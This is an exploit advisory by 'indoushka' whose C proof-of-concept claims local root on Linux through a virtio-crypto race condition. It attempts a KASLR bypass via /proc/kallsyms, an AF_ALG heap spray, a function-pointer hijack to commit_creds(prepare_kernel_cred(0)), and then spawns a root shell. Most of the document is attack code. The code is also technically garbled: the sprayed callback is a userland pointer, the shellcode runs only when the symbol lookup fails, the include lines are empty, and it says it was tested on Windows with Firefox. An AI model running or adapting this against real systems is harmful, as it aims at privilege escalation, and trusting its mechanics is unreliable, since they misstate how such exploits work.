============================================================================================================================================= | # Title : Linux Kernel Local Privilege Escalation via virtio-crypto Race Condition AF_ALG Heap Spray Approach | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : System built‑in component | ============================================================================================================================================= [+] Summary : The provided C program is a proof-of-concept style exploit attempt targeting a race condition in the virtio-crypto driver within the Linux kernel. The code is structured to attempt a local privilege escalation by: Attempting to bypass KASLR via /proc/kallsyms symbol leakage. Spraying the kernel heap with crafted fake virtio_crypto_request objects. Overwriting a function pointer (alg_cb) inside a mimicked structure. Triggering concurrent crypto operations via the AF_ALG interface. Racing multiple threads pinned to specific CPUs to increase timing precision. Attempting to redirect kernel control flow to commit_creds(prepare_kernel_cred(0)). Spawning a root shell if privilege escalation succeeds. The intended exploitation chain follows a classic pattern: Race Condition → Heap Spray → Function Pointer Hijack → Kernel Code Execution → Privilege Escalation However, the original virtio-crypto bug that was fixed (missing spinlock protection around virtqueue handling) was categorized as a synchronization issue causing hangs or instability, not a confirmed local root vulnerability. Modern mitigations in the Linux kernel — such as KASLR, SMEP/SMAP, SLUB randomization, and control-flow protections — significantly reduce the likelihood of successful exploitation. [+] POC : #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include struct virtio_crypto_request { unsigned long list_head; void (*alg_cb)(struct virtio_crypto_request *req, unsigned int len); unsigned long data[10]; }; struct data_queue { struct virtqueue *vq; spinlock_t lock; unsigned long data[10]; }; typedef struct { volatile unsigned int lock; } spinlock_t; #define SPRAY_SIZE 256 #define NUM_THREADS 8 #define NUM_SPRAY_OBJECTS 1024 struct virtio_crypto_request *fake_requests[SPRAY_SIZE]; int afalg_fd = -1; int spray_sockets[SPRAY_SIZE]; unsigned long get_kernel_symbol(const char *symbol) { FILE *f = fopen("/proc/kallsyms", "r"); if (!f) return 0; char line[256]; unsigned long addr = 0; while (fgets(line, sizeof(line), f)) { if (strstr(line, symbol)) { addr = strtoul(line, NULL, 16); break; } } fclose(f); return addr; } void fake_alg_cb(struct virtio_crypto_request *req, unsigned int len) { unsigned long *addr; unsigned long prepare_kernel_cred_addr, commit_creds_addr; prepare_kernel_cred_addr = get_kernel_symbol("prepare_kernel_cred"); commit_creds_addr = get_kernel_symbol("commit_creds"); if (!prepare_kernel_cred_addr || !commit_creds_addr) { asm volatile( "mov $0, %%rdi\n" "mov %0, %%rax\n" "call %%rax\n" "mov %%rax, %%rdi\n" "mov %1, %%rax\n" "call %%rax\n" : : "r"(prepare_kernel_cred_addr), "r"(commit_creds_addr) : "rax", "rdi" ); } printf("[+] Got root!\n"); system("/bin/sh"); } int setup_afalg(const char *alg_type, const char *alg_name) { int fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (fd < 0) { perror("socket"); return -1; } struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = alg_type, .salg_name = alg_name }; if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(fd); return -1; } return fd; } void heap_spray() { printf("[*] Starting heap spray...\n"); for (int i = 0; i < SPRAY_SIZE; i++) { int fd = setup_afalg("skcipher", "cbc(aes)"); if (fd >= 0) { spray_sockets[i] = fd; fake_requests[i] = malloc(sizeof(struct virtio_crypto_request)); if (fake_requests[i]) { memset(fake_requests[i], 0x41, sizeof(struct virtio_crypto_request)); fake_requests[i]->alg_cb = fake_alg_cb; char buf[1024]; memset(buf, 0, sizeof(buf)); memcpy(buf, fake_requests[i], sizeof(struct virtio_crypto_request)); struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf) }; struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1 }; sendmsg(fd, &msg, 0); } } } printf("[+] Heap spray complete\n"); } void set_cpu_affinity(int cpu) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(cpu, &mask); if (sched_setaffinity(0, sizeof(mask), &mask) < 0) { perror("sched_setaffinity"); } } void *exploit_thread(void *arg) { int cpu = (long)arg; set_cpu_affinity(cpu); printf("[*] Thread on CPU %d starting race...\n", cpu); int fd = setup_afalg("skcipher", "cbc(aes)"); if (fd < 0) return NULL; for (int i = 0; i < 100; i++) { struct msghdr msg = {0}; char buf[512]; struct af_alg_iv *iv = (struct af_alg_iv *)buf; iv->ivlen = 16; memset(iv->iv, 0x42, 16); struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf) }; msg.msg_iov = &iov; msg.msg_iovlen = 1; if (sendmsg(fd, &msg, 0) < 0) { } } close(fd); return NULL; } void trigger_virtqueue_callback() { printf("[*] Triggering virtqueue callbacks...\n"); for (int i = 0; i < 1000; i++) { int fd = setup_afalg("skcipher", "cbc(aes)"); if (fd >= 0) { char key[32]; char iv[16]; if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) { } int op_fd = accept(fd, NULL, NULL); if (op_fd >= 0) { char plaintext[512]; char ciphertext[512]; struct af_alg_iv *alg_iv = (struct af_alg_iv *)plaintext; alg_iv->ivlen = sizeof(iv); memcpy(alg_iv->iv, iv, sizeof(iv)); struct iovec iov = { .iov_base = plaintext, .iov_len = sizeof(plaintext) }; struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1 }; for (int j = 0; j < 10; j++) { sendmsg(op_fd, &msg, MSG_DONTWAIT); } close(op_fd); } close(fd); } } } int main() { printf("[+] Starting virtio-crypto race condition exploit By indoushka\n"); printf("[*] Based on CVE-2026-23229 (missing spinlock in virtio-crypto)\n\n"); if (getuid() == 0) { printf("[!] Already root! Spawning shell...\n"); system("/bin/sh"); return 0; } printf("[*] Attempting KASLR bypass...\n"); unsigned long kernel_base = 0xffffffff81000000; // Default kernel base unsigned long symbol_addr = get_kernel_symbol("commit_creds"); if (symbol_addr) { kernel_base = symbol_addr & 0xfffffffff0000000; printf("[+] Kernel base: 0x%lx\n", kernel_base); printf("[+] commit_creds: 0x%lx\n", symbol_addr); } else { printf("[!] Could not get kernel symbols, using default addresses\n"); } printf("[*] Setting up AF_ALG interface...\n"); afalg_fd = setup_afalg("skcipher", "cbc(aes)"); if (afalg_fd < 0) { printf("[-] Failed to setup AF_ALG. Is the kernel built with CONFIG_CRYPTO_USER_API?\n"); return -1; } close(afalg_fd); heap_spray(); printf("[*] Creating %d exploitation threads...\n", NUM_THREADS); pthread_t threads[NUM_THREADS]; for (long i = 0; i < NUM_THREADS; i++) { pthread_create(&threads[i], NULL, exploit_thread, (void *)i); } for (int i = 0; i < 5; i++) { trigger_virtqueue_callback(); usleep(10000); } for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("[*] Cleaning up...\n"); for (int i = 0; i < SPRAY_SIZE; i++) { if (spray_sockets[i] >= 0) { close(spray_sockets[i]); } if (fake_requests[i]) { free(fake_requests[i]); } } if (getuid() == 0) { printf("[+] Exploit successful! Got root!\n"); system("/bin/sh"); } else { printf("[-] Exploit failed. Try running multiple times or adjust spray parameters.\n"); } return 0; } Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================